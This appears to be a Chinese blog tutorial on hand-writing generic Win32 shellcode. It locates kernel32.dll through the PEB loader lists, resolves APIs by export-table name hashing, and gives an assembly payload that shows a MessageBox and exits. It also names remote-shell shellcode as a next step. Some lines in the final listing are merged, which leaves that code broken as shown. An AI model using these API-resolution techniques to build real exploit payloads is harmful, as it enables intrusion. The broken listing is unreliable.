所有 win_32 程序都会加载 ntdll.dll 和 kernel32.dll 这两个最基础的动态链接库。如果想要

在 win_32 平台下定位 kernel32.dll 中的 API 地址,可以采用如下方法。

  1. 首先通过段选择字 FS 在内存中找到当前的线程环境块 TEB。

  2. 线程环境块偏移位置为 0x30 的地方存放着指向进程环境块 PEB 的指针。

  3. 进程环境块中偏移位置为 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针,

    其中,存放着已经被进程装载的动态链接库的信息。

  4. PEB_LDR_DATA 结构体偏移位置为 0x1C 的地方存放着指向模块初始化链表的头指

    针 InInitializationOrderModuleList。

  5. 模块初始化链表 InInitializationOrderModuleList 中按顺序存放着 PE 装入运行时初始化

    模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。

  6. 找到属于 kernel32.dll 的结点后,在其基础上再偏移 0x08 就是 kernel32.dll 在内存中的

    加载基地址。

  7. 从 kernel32.dll 的加载基址算起,偏移 0x3C 的地方就是其 PE 头。

  8. PE 头偏移 0x78 的地方存放着指向函数导出表的指针。

  9. 至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址

fs是什么?TEB是什么?

  • fs是一个寄存器,只不过不可见
  • 在NT内核系统中fs寄存器指向TEB结构
  • TEB+0x30处指向PEB结构

TEB结构如下:

 //
// Thread Environment Block (TEB)
//
typedef struct _TEB
{
NT_TIB Tib; /* 00h */
PVOID EnvironmentPointer; /* 1Ch */
CLIENT_ID Cid; /* 20h */
PVOID ActiveRpcHandle; /* 28h */
PVOID ThreadLocalStoragePointer; /* 2Ch */
struct _PEB *ProcessEnvironmentBlock; /* 30h */
ULONG LastErrorValue; /* 34h */
ULONG CountOfOwnedCriticalSections; /* 38h */
PVOID CsrClientThread; /* 3Ch */
struct _W32THREAD* Win32ThreadInfo; /* 40h */
ULONG User32Reserved[0x1A]; /* 44h */
ULONG UserReserved[5]; /* ACh */
PVOID WOW32Reserved; /* C0h */
LCID CurrentLocale; /* C4h */
ULONG FpSoftwareStatusRegister; /* C8h */
PVOID SystemReserved1[0x36]; /* CCh */
LONG ExceptionCode; /* 1A4h */
struct _ACTIVATION_CONTEXT_STACK *ActivationContextStackPointer; /* 1A8h */
UCHAR SpareBytes1[0x28]; /* 1ACh */
GDI_TEB_BATCH GdiTebBatch; /* 1D4h */
CLIENT_ID RealClientId; /* 6B4h */
PVOID GdiCachedProcessHandle; /* 6BCh */
ULONG GdiClientPID; /* 6C0h */
ULONG GdiClientTID; /* 6C4h */
PVOID GdiThreadLocalInfo; /* 6C8h */
ULONG Win32ClientInfo[62]; /* 6CCh */
PVOID glDispatchTable[0xE9]; /* 7C4h */
ULONG glReserved1[0x1D]; /* B68h */
PVOID glReserved2; /* BDCh */
PVOID glSectionInfo; /* BE0h */
PVOID glSection; /* BE4h */
PVOID glTable; /* BE8h */
PVOID glCurrentRC; /* BECh */
PVOID glContext; /* BF0h */
NTSTATUS LastStatusValue; /* BF4h */
UNICODE_STRING StaticUnicodeString; /* BF8h */
WCHAR StaticUnicodeBuffer[0x105]; /* C00h */
PVOID DeallocationStack; /* E0Ch */
PVOID TlsSlots[0x40]; /* E10h */
LIST_ENTRY TlsLinks; /* F10h */
PVOID Vdm; /* F18h */
PVOID ReservedForNtRpc; /* F1Ch */
PVOID DbgSsReserved[0x2]; /* F20h */
ULONG HardErrorDisabled; /* F28h */
PVOID Instrumentation[14]; /* F2Ch */
PVOID SubProcessTag; /* F64h */
PVOID EtwTraceData; /* F68h */
PVOID WinSockData; /* F6Ch */
ULONG GdiBatchCount; /* F70h */
BOOLEAN InDbgPrint; /* F74h */
BOOLEAN FreeStackOnTermination; /* F75h */
BOOLEAN HasFiberData; /* F76h */
UCHAR IdealProcessor; /* F77h */
ULONG GuaranteedStackBytes; /* F78h */
PVOID ReservedForPerf; /* F7Ch */
PVOID ReservedForOle; /* F80h */
ULONG WaitingOnLoaderLock; /* F84h */
ULONG SparePointer1; /* F88h */
ULONG SoftPatchPtr1; /* F8Ch */
ULONG SoftPatchPtr2; /* F90h */
PVOID *TlsExpansionSlots; /* F94h */
ULONG ImpersionationLocale; /* F98h */
ULONG IsImpersonating; /* F9Ch */
PVOID NlsCache; /* FA0h */
PVOID pShimData; /* FA4h */
ULONG HeapVirualAffinity; /* FA8h */
PVOID CurrentTransactionHandle; /* FACh */
PTEB_ACTIVE_FRAME ActiveFrame; /* FB0h */
PVOID FlsData; /* FB4h */
UCHAR SafeThunkCall; /* FB8h */
UCHAR BooleanSpare[3]; /* FB9h */
} TEB, *PTEB;

PEB结构

typedef struct _PEB
{
UCHAR InheritedAddressSpace; // 00h
UCHAR ReadImageFileExecOptions; // 01h
UCHAR BeingDebugged; // 02h
UCHAR Spare; // 03h
PVOID Mutant; // 04h
PVOID ImageBaseAddress; // 08h
PPEB_LDR_DATA Ldr; // 0Ch
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h
PVOID SubSystemData; // 14h
PVOID ProcessHeap; // 18h
PVOID FastPebLock; // 1Ch
PPEBLOCKROUTINE FastPebLockRoutine; // 20h
PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h
ULONG EnvironmentUpdateCount; // 28h
PVOID* KernelCallbackTable; // 2Ch
PVOID EventLogSection; // 30h
PVOID EventLog; // 34h
PPEB_FREE_BLOCK FreeList; // 38h
ULONG TlsExpansionCounter; // 3Ch
PVOID TlsBitmap; // 40h
ULONG TlsBitmapBits[0x2]; // 44h
PVOID ReadOnlySharedMemoryBase; // 4Ch
PVOID ReadOnlySharedMemoryHeap; // 50h
PVOID* ReadOnlyStaticServerData; // 54h
PVOID AnsiCodePageData; // 58h
PVOID OemCodePageData; // 5Ch
PVOID UnicodeCaseTableData; // 60h
ULONG NumberOfProcessors; // 64h
ULONG NtGlobalFlag; // 68h
UCHAR Spare2[0x4]; // 6Ch
LARGE_INTEGER CriticalSectionTimeout; // 70h
ULONG HeapSegmentReserve; // 78h
ULONG HeapSegmentCommit; // 7Ch
ULONG HeapDeCommitTotalFreeThreshold; // 80h
ULONG HeapDeCommitFreeBlockThreshold; // 84h
ULONG NumberOfHeaps; // 88h
ULONG MaximumNumberOfHeaps; // 8Ch
PVOID** ProcessHeaps; // 90h
PVOID GdiSharedHandleTable; // 94h
PVOID ProcessStarterHelper; // 98h
PVOID GdiDCAttributeList; // 9Ch
PVOID LoaderLock; // A0h
ULONG OSMajorVersion; // A4h
ULONG OSMinorVersion; // A8h
ULONG OSBuildNumber; // ACh
ULONG OSPlatformId; // B0h
ULONG ImageSubSystem; // B4h
ULONG ImageSubSystemMajorVersion; // B8h
ULONG ImageSubSystemMinorVersion; // C0h
ULONG GdiHandleBuffer[0x22]; // C4h
PVOID ProcessWindowStation; // ???
} PEB, *PPEB;

PEB_LDR_DATA结构

typedef struct _PEB_LDR_DATA
{
 ULONG Length; // +0x00
 BOOLEAN Initialized; // +0x04
 PVOID SsHandle; // +0x08
 LIST_ENTRY InLoadOrderModuleList; // +0x0c
 LIST_ENTRY InMemoryOrderModuleList; // +0x14
 LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

LIST_ENTRY结构

 typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
  • 导出表偏移 0x1C 处的指针指向存储导出函数偏移地址(RVA)的列表。

  • 导出表偏移 0x20 处的指针指向存储导出函数函数名的列表。

  • 函数的 RVA 地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位

    到所需的函数是第几个,然后在地址列表中找到对应的 RVA。

  • 获得 RVA 后,再加上前边已经得到的动态链接库的加载基址,就获得了所需 API 此刻

    在内存中的虚拟地址,这个地址就是我们最终在 shellcode 中调用时需要的地址。

按照上面的方法,我们已经可以获得 kernel32.dll 中的任意函数。类似地,我们已经具备了

定位 ws2_32.dll 中的 winsock 函数来编写一个能够获得远程 shell 的真正的 shellcode 了。

其实,在摸透了 kernel32.dll 中的所有导出函数之后,结合使用其中的两个函数 LoadLibrary()

和 GetProcAddress(),有时可以让定位所需其他 API 的工作变得更加容易。

通用shellcode-LMLPHP

int main()
{
_asm
{
mov eax, fs:[0x30] ;PEB的地址
mov eax, [eax + 0x0c] ;Ldr的地址
mov esi, [eax + 0x1c] ;Flink地址
lodsd
mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址
}
return 0;
}

一个弹出对话框,然后退出程序的shellcode

  • MessageBoxA 位于 user32.dll 中,用于弹出消息框。
  • ExitProcess 位于 kernel32.dll 中,用于正常退出程序。
  • LoadLibraryA 位于 kernel32.dll 中。并不是所有的程序都会装载 user32.dll,所以在我们调用MessageBoxA 之前,应该先使用 LoadLibrary(“user32.dll” )装载其所属的动态链接库

本次使用的hash算法

#include <stdio.h>
DWORD GetHash(char *fun_name)
{
DWORD digest=0;
while(*fun_name)
{
digest=((digest<<25)|(digest>>7)); //循环右移7位
/*
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
--> ror edx,7 ;这一行我看了俩小时,最后才意识到是((循环))右移,不是单纯的 >>7
add edx,eax
inc esi
jmp hash_loop
这是我第一次知道汇编也有比C语言方便的时候
*/
digest+= *fun_name ; //累加
fun_name++;
}
return digest;
}
main()
{
DWORD hash;
hash= GetHash("AddAtomA");
printf("%#x\n",hash);
}
CLD                         ;清空标志位DF
push 0x1E380A6A ;压入MessageBoxA的hash-->user32.dll
push 0x4FD18963 ;压入ExitProcess的hash-->kernel32.dll
push 0x0C917432 ;压入LoadLibraryA的hash-->kernel32.dll
mov esi,esp ;esi=esp,指向堆栈中存放LoadLibraryA的地址
lea edi,[esi-0xc] ;函数地址的开始

抬高栈顶,保护 shellcode 不被入栈数据破坏。

xor ebx,ebx
mov bh, 0x04
sub esp, ebx

定位kernel32.dll的基地址

mov		ebx,fs:[edx+0x30]   ;PEB
mov ecx,[ebx+0xC] ;PEB_LDR_DATA
mov ecx,[ecx+0x1C] ;InInitializationOrderModuleList
mov ecx,[ecx] ;进入链表第一个就是ntdll.dll
mov ebp,[ecx+0x8] ;ebp= kernel32.dll的基地址

下面找函数表的地址

mov		eax,[ebp+0x3C]		//dll的PE头 ebp是pe文件的开头位置(MZ)
mov ecx,[ebp+eax+0x78] //导出表的指针
add ecx,ebp //ecx=0x78C00000+0x262c
mov ebx,[ecx+0x20] //导出函数名列表指针
add ebx,ebp //导出函数名列表指基地址

导出表的结构

typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;         //PE文件的模块名
DWORD Base;          //模块基地址
DWORD NumberOfFunctions;  //总的导出函数的个数
DWORD NumberOfNames;    //有名称的函数的个数(这一行我真不想写,没用,还可能会误导初学者),有的导出函数没有名字的只有序号
DWORD AddressOfFunctions; //导出地址表
DWORD AddressOfNames; //函数名表
DWORD AddressOfNameOrdinals; //函数序号,并不一定是连续的,但一般和导出地址表是一一对应的
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

在导出表中搜索AIP的逻辑可以设计如图

通用shellcode-LMLPHP

具体代码如下

#include <stdio.h>
#include <windows.h> int main()
{
__asm
{
CLD //清空标志位DF
push 0x1E380A6A //压入MessageBoxA的hash-->user32.dll
push 0x4FD18963 //压入ExitProcess的hash-->kernel32.dll
push 0x0C917432 //压入LoadLibraryA的hash-->kernel32.dll
mov esi,esp //esi=esp,指向堆栈中存放LoadLibraryA的地址
lea edi,[esi-0xc] //空出8字节应该是为了兼容性
//======开辟一些栈空间
xor ebx,ebx
mov bh,0x04
sub esp,ebx //esp-=0x400
//======压入"user32.dll"
mov bx,0x3233
push ebx //"\0 32"
push 0x72657375 //"user"
push esp
xor edx,edx //edx=0
//======找kernel32.dll的基地址
mov ebx,fs:[edx+0x30] //[TEB+0x30]-->PEB
mov ecx,[ebx+0xC] //[PEB+0xC]--->PEB_LDR_DATA
mov ecx,[ecx+0x1C] //[PEB_LDR_DATA+0x1C]--->InInitializationOrderModuleList
mov ecx,[ecx] //进入链表第一个就是ntdll.dll
mov ebp,[ecx+0x8] //ebp= kernel32.dll的基地址 //======是否找到了自己所需全部的函数
find_lib_functions:
lodsd //eax=[esi],esi+=4
cmp eax,0x1E380A6A //与MessageBoxA的hash比较
jne find_functions
xchg eax,ebp //-------------------------------------------------> |
call [edi-0x8] //LoadLibraryA("user32") |
xchg eax,ebp //ebp=userl32.dll的基地址,eax=MessageBoxA的hash <-- | //======导出函数名列表指针
find_functions:
pushad //保护寄存器
mov eax,[ebp+0x3C] //dll的PE头
mov ecx,[ebp+eax+0x78] //导出表的指针
add ecx,ebp //ecx=导出表的基地址
mov ebx,[ecx+0x20] //导出函数名列表指针
add ebx,ebp //ebx=导出函数名列表指针的基地址
xor edi,edi //======找下一个函数名
next_function_loop:
inc edi
mov esi,[ebx+edi*4] //从列表数组中读取
add esi,ebp //esi = 函数名称所在地址
cdq //edx = 0 //======函数名的hash运算
hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah //字符串结尾就跳出当前函数
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
//======比较找到的当前函数的hash是否是自己想找的
compare_hash:
cmp edx,[esp+0x1C] //lods pushad后,栈+1c为LoadLibraryA的hash
jnz next_function_loop
mov ebx,[ecx+0x24] //ebx = 顺序表的相对偏移量
add ebx,ebp //顺序表的基地址
mov di,[ebx+2*edi] //匹配函数的序号
mov ebx,[ecx+0x1C] //地址表的相对偏移量
add ebx,ebp //地址表的基地址
add ebp,[ebx+4*edi] //函数的基地址
xchg eax,ebp //eax<==>ebp 交换 pop edi
stosd //把找到的函数保存到edi的位置
push edi popad
cmp eax,0x1e380a6a //messagebox的hash
jne find_lib_functions //======让他做些自己想做的事
function_call:
xor ebx,ebx
push ebx
push 0x74736577
push 0x6c696166 //push "failwest"
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04] //MessageBoxA(NULL,"failwest","failwest",NULL)
push ebx
call [edi-0x08] //ExitProcess(0);
nop
nop
nop
nop
}
return 0;
}
05-11 13:26